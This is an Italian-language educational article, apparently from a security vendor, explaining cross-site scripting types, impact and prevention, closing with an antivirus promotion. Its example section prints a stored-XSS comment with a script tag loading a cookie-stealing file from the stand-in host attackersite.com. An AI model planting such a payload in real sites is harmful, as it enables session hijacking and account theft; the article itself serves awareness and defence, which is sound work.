Che cos'è il cross-site scripting?
Negli attacchi cross-site scripting (XSS) un codice dannoso viene inserito in siti Web altrimenti attendibili. Un attacco cross-site scripting si verifica quando i cybercriminali inseriscono nel contenuto del sito Web colpito script dannosi, che vengono quindi inclusi nel contenuto dinamico inviato al browser di una vittima. Il browser della vittima non ha alcun modo per sapere che gli script dannosi non possono essere considerati attendibili e quindi li esegue.
Di conseguenza, gli script dannosi possono accedere a tutti i cookie, i token di sessioni o altre informazioni sensibili conservate dal browser e utilizzate in quel sito. Gli autori degli attacchi XSS possono anche riuscire a diffondere il malware, riscrivere i contenuti dei siti Web, provocare problemi sui social network e ottenere le credenziali degli utenti tramite phishing. Gli attacchi XSS sono diversi dagli altri attacchi Web perché non prendono direttamente di mira l'applicazione. Sono invece a rischio gli utenti dell'applicazione Web.
Come funziona il cross-site scripting
Il cross-site scripting manipola un sito Web vulnerabile in modo da inviare script dannosi agli utenti. È possibile usare qualsiasi linguaggio lato client, quasi sempre JavaScript. I cybercriminali prendono di mire siti Web con funzioni vulnerabili che accettano l'input utente, ad esempio barre di ricerca, caselle per commenti o moduli di accesso. I criminali allegano il codice dannoso al sito Web legittimo, in sostanza convincendo i browser a eseguire il loro malware ogni volta che il sito viene caricato.
Poiché JavaScript viene eseguito nella pagina del browser della vittima, i dati sensibili sull'utente autenticato possono essere sottratti dalla sessione, consentendo ai cybercriminali di prendere di mira gli amministratori dei siti e di compromettere i siti Web.
A seconda di come il codice viene inserito, è possibile che il contenuto dannoso non sia nemmeno nella vera e propria pagina Web, ma sia semplicemente un elemento transitorio che sembra essere parte del sito Web solo durante l'exploit. Questo può creare l'illusione che il sito Web reale sia stato compromesso, anche se non è così.
Esistono diversi modi per attivare un attacco XSS. Ad esempio, l'esecuzione potrebbe essere attivata automaticamente quando la pagina viene caricata o quando un utente posiziona il puntatore su elementi specifici della pagina, come i collegamenti ipertestuali. In alcuni casi, l'attacco XSS viene sferrato in modo più diretto, ad esempio in un messaggio email. Alcuni attacchi XSS non hanno un obiettivo specifico: l'autore dell'attacco si limita a sfruttare una vulnerabilità dell'applicazione o del sito, approfittando di chiunque sia abbastanza sfortunato da caderne vittima.
A seconda della portata dell'attacco, gli account degli utenti possono essere compromessi, i programmi cavalli di Troia attivati e il contenuto delle pagine modificato, ingannando gli utenti e spingendoli a divulgare i loro dati privati. I cookie di sessione potrebbero essere rivelati, consentendo a un criminale di impersonare utenti validi e di sfruttare i loro account privati.
Un attacco cross-site scripting riuscito può avere conseguenze devastanti per la reputazione di un'azienda online e per il suo rapporto con i clienti. Sfortunatamente, i difetti che consentono agli attacchi XSS di avere successo sono abbastanza diffusi. Gli attacchi XSS possono sfruttare le vulnerabilità di diversi ambienti di programmazione, tra cui VBScript, Flash, ActiveX e JavaScript. L'obiettivo principale di XSS è JavaScript a causa della stretta integrazione di questo linguaggio con la maggior parte dei browser. Essendo in grado di sfruttare le vulnerabilità delle piattaforme più usate, gli attacchi XSS sono pericolosi e diffusi.
Impatto di XSS
Sfruttando diverse vulnerabilità, l'autore di un attacco XSS può eseguire azioni dannose, tra cui:
- Reindirizzare gli utenti a un sito Web dannoso.
- Acquisire le sequenze di tasti degli utenti.
- Accedere alla cronologia dei browser e ai contenuti degli Appunti degli utenti.
- Eseguire exploit basati su browser Web (ad esempio, arresto anomalo del browser).
- Ottenere le informazioni contenute nei cookie di un utente che ha effettuato l'accesso a un sito Web.
- Sottrarre il token della sessione di accesso, consentendo all'autore dell'attacco di interagire con l'applicazione impersonando la vittima, senza conoscerne la password.
- Costringere l'utente a inviare a un server richieste controllate dall'autore dell'attacco.
- Modificare i contenuti di una pagina.
- Ingannare la vittima spingendola a comunicare la password all'applicazione o ad altre applicazioni.
- Infettare la vittima con altro codice dannoso utilizzando una vulnerabilità nel browser Web stesso ed eventualmente prendere il controllo del computer della vittima.
In alcuni casi, un attacco XSS può portare a una compromissione completa dell'account della vittima. Gli autori di un attacco possono ingannare gli utenti convincendoli a immettere le credenziali in un modulo falso, fornendo tutte le informazioni ai criminali. Una volta ottenute le credenziali di un utente, possono utilizzarle per commettere furti di identità o frodi finanziarie.
Tipi di attacchi XSS
Esistono tre categorie principali di cross-site scripting: stored XSS, reflected XSS, e DOM-based XSS.
Stored cross-site scripting (persistent XSS)
L'attacco stored XSS (chiamato anche persistent XSS) è considerato il tipo più dannoso. Un attacco stored XSS si verifica quando l'input immesso da un utente viene archiviato (stored) e quindi visualizzato in una pagina Web. I punti di ingresso tipici degli attacchi stored XSS sono i forum di messaggi, i commenti nei blog, i profili utente e i campi del nome utente. L'autore di un attacco in genere sfrutta questa vulnerabilità inserendo i payload XSS nelle pagine più popolari di un sito o passando un link a una vittima, inducendola con l'inganno a visualizzare la pagina contenente il payload stored XSS. La vittima visita la pagina e il payload viene eseguito sul lato client dal browser Web della vittima.
Reflected cross-site scripting (non-persistent XSS)
Il tipo più comune di XSS è noto come reflected XSS (o non-persistent XSS). In questo caso, il payload dell'autore di un attacco deve far parte della richiesta inviata al server Web. A questo punto, viene riflesso (reflected) in modo che la risposta HTTP includa il payload proveniente dalla richiesta HTTP. Gli autori di attacchi utilizzano link dannosi, email di phishing e altre tecniche di ingegneria sociale per spingere con l'inganno la vittima a inviare una richiesta al server. Il payload reflected XSS viene quindi eseguito nel browser dell'utente.
L'attacco di tipo reflected XSS non è persistente, quindi il criminale deve inviare il payload a ogni vittima. Questi attacchi vengono spesso sferrati tramite i social network.
DOM-based cross-site scripting
L'attacco di tipo DOM-based XSS sfrutta una vulnerabilità cross-site scripting presente nell'oggetto DOM (Document Object Model) invece che nel codice HTML. Negli attacchi reflected e stored cross-site scripting è possibile visualizzare il payload della vulnerabilità nella pagina della risposta, ma nel DOM-based cross-site scripting il codice HTML sorgente dell'attacco e la risposta coincidono, pertanto non è possibile trovare il payload nella risposta. Lo si può osservare solo nel runtime o analizzando l'oggetto DOM della pagina.
Un attacco DOM-based XSS spesso è un attacco lato client e il payload dannoso non viene mai inviato al server. Perciò è molto più difficile da rilevare per i Web Application Firewall (WAF) e per gli ingegneri responsabili della sicurezza che analizzano i log dei server dal momento che non vedono mai l'attacco. Gli oggetti DOM manipolati con maggiore frequenza sono l'URL (documento.URL), l'ancoraggio dell'URL (posizione.hash) e il referrer (documento.referrer).
Esempio di attacco XSS
Ad esempio: mentre naviga in un sito Web di e-commerce, un hacker identifica una vulnerabilità che consente di incorporare tag HTML nella sezione dei commenti del sito. I tag incorporati diventano una caratteristica permanente della pagina, facendo sì che il browser li includa con il resto del codice sorgente ogni volta che la pagina viene aperta.
L'autore dell'attacco aggiunge un commento simile a questo: Articolo di grande valore. Leggi la recensione completa qui <script src="http://attackersite.com/authstealer.js"> </script>.
Da quel momento, ogni volta che qualcuno accede alla pagina, il tag HTML del commento attiverà un file JavaScript, ospitato in un altro sito e in grado di sottrarre i cookie della sessione dei visitatori.
Grazie al cookie della sessione, l'autore dell'attacco può compromettere l'account del visitatore, ottenendo facilmente l'accesso alle sue informazioni personali e ai suoi dati finanziari. Nel frattempo il visitatore, che magari non ha scorso la pagina fino alla sezione dei commenti, non sa che l'attacco è avvenuto.
Diversamente da un attacco di tipo reflected, dove lo script viene attivato dopo che qualcuno ha fatto clic su un link, in un attacco di tipo stored la vittima deve solo visitare la pagina Web compromessa. Questo aumenta la portata dell'attacco, mettendo in pericolo tutti i visitatori, anche i più prudenti.
Per un cybercriminale gli attacchi di tipo persistent XSS sono più difficili da eseguire per la difficoltà di individuare un sito Web che sia molto visitato e abbia vulnerabilità che permettono l'incorporazione permanente dello script
Prevenzione del cross-site scripting
Per ridurre al minimo la vulnerabilità cross-site scripting, gli sviluppatori/proprietari di siti Web dovrebbero:
- Assicurarsi che ogni pagina del sito Web che accetta input utente escluda gli input di codice, ad esempio HTML e JavaScript.
- Verificare la presenza di eventuali vulnerabilità dell'applicazione Web e correggerle.
- Aggiornare il software del sito Web e del server per evitare futuri exploit delle vulnerabilità che potrebbero essere sfruttate tramite un attacco XSS.
Per evitare di cadere vittima di un attacco XSS, i singoli utenti dovrebbero:
- Disabilitare lo scripting nelle pagine in cui non è necessario o disabilitarlo del tutto.
- Evitare di fare clic su link contenuti in email sospette o in post nei forum, perché potrebbero reindirizzare a pagine compromesse.
- Accedere direttamente ai siti Web digitando l'URL nel browser invece che tramite una fonte o un link di terze parti.
- Mantenere aggiornato il software per beneficiare delle correzioni di bug e delle patch di sicurezza più recenti. L'aggiornamento regolare del software ridurrà considerevolmente il numero di vulnerabilità che lasciano un sito o un'applicazione esposta agli attacchi XSS.
- Controllare le applicazioni per determinare quali sono necessarie e quali vengono utilizzate raramente. Eliminando le app non utilizzate si riduce il numero di vulnerabilità potenziali.
- Utilizzare un antivirus di qualità elevata, ad esempio Kaspersky Total Security che opera 24 ore su 24, 7 giorni su 7 per proteggere i dispositivi e i dati. Blocca minacce comuni e complesse, come virus, malware, ransomware, app di spionaggio e tutti i più avanzati attacchi hacker.
Articoli correlati: